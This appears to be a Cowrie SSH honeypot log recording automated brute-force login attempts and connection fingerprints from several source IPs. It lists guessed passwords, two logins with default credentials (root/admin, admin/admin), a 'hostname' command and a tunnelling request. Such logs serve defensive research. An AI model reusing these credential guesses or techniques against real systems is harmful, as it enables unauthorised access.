{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.703847Z","src_ip":"103.27.238.116","session":"4fc83f544a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.776744Z","src_ip":"103.27.238.120","session":"fd8ccfb3f410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45254,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fce0c0ef694","protocol":"ssh","message":"New connection: 103.15.222.183:45254 (159.203.135.109:22) [session: 5fce0c0ef694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.837332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:28.842723Z","src_ip":"103.15.222.183","session":"5fce0c0ef694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:29.088842Z","src_ip":"103.15.222.183","session":"5fce0c0ef694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31121987","message":"login attempt [root/31121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:29.507973Z","src_ip":"103.27.238.116","session":"4fc83f544a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678y","message":"login attempt [root/12345678y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:29.632690Z","src_ip":"103.27.238.120","session":"fd8ccfb3f410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlada","message":"login attempt [root/vlada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:29.826424Z","src_ip":"103.15.222.183","session":"5fce0c0ef694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:30.919563Z","src_ip":"103.27.238.120","session":"fd8ccfb3f410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:31.074363Z","src_ip":"103.15.222.183","session":"5fce0c0ef694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:43:31.433336Z","src_ip":"103.27.238.116","session":"4fc83f544a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39304,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19c8a7415df","protocol":"ssh","message":"New connection: 87.251.79.125:39304 (159.203.135.109:22) [session: a19c8a7415df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:07.368788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:07.378704Z","src_ip":"87.251.79.125","session":"a19c8a7415df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:07.461918Z","src_ip":"87.251.79.125","session":"a19c8a7415df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx333","message":"login attempt [root/xxx333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:07.698788Z","src_ip":"87.251.79.125","session":"a19c8a7415df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:08.795614Z","src_ip":"87.251.79.125","session":"a19c8a7415df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58954,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c2affda0527","protocol":"ssh","message":"New connection: 89.108.118.91:58954 (10.17.0.5:22) [session: 7c2affda0527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:21.879005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:21.884630Z","src_ip":"89.108.118.91","session":"7c2affda0527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:22.020044Z","src_ip":"89.108.118.91","session":"7c2affda0527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diman123","message":"login attempt [root/diman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:22.426160Z","src_ip":"89.108.118.91","session":"7c2affda0527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:23.564053Z","src_ip":"89.108.118.91","session":"7c2affda0527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25525,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d3d06c632d3","protocol":"ssh","message":"New connection: 2.57.121.25:25525 (159.203.135.109:22) [session: 9d3d06c632d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:38.797272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:38.806645Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:38.909330Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1256","message":"login attempt [user/1256] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:39.398784Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"124816","message":"login attempt [user/124816] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:40.506556Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456qq","message":"login attempt [user/123456qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:41.613160Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234432","message":"login attempt [user/1234432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:42.720500Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123369","message":"login attempt [user/123369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:43.826903Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:44:44.934631Z","src_ip":"2.57.121.25","session":"9d3d06c632d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":33600,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd3db4e825d","protocol":"ssh","message":"New connection: 85.11.167.46:33600 (10.17.0.5:22) [session: cfd3db4e825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.006503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.019202Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.103462Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.370347Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.592713Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.596876Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","size":16,"shasum":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.686988Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:10.692727Z","src_ip":"85.11.167.46","session":"cfd3db4e825d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41202,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce3b4a704c5b","protocol":"ssh","message":"New connection: 87.251.64.176:41202 (10.17.0.5:22) [session: ce3b4a704c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:24.453250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:24.458781Z","src_ip":"87.251.64.176","session":"ce3b4a704c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:24.554536Z","src_ip":"87.251.64.176","session":"ce3b4a704c5b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:24.844920Z","src_ip":"87.251.64.176","session":"ce3b4a704c5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:45:24.943030Z","session":"ce3b4a704c5b","protocol":"ssh"}
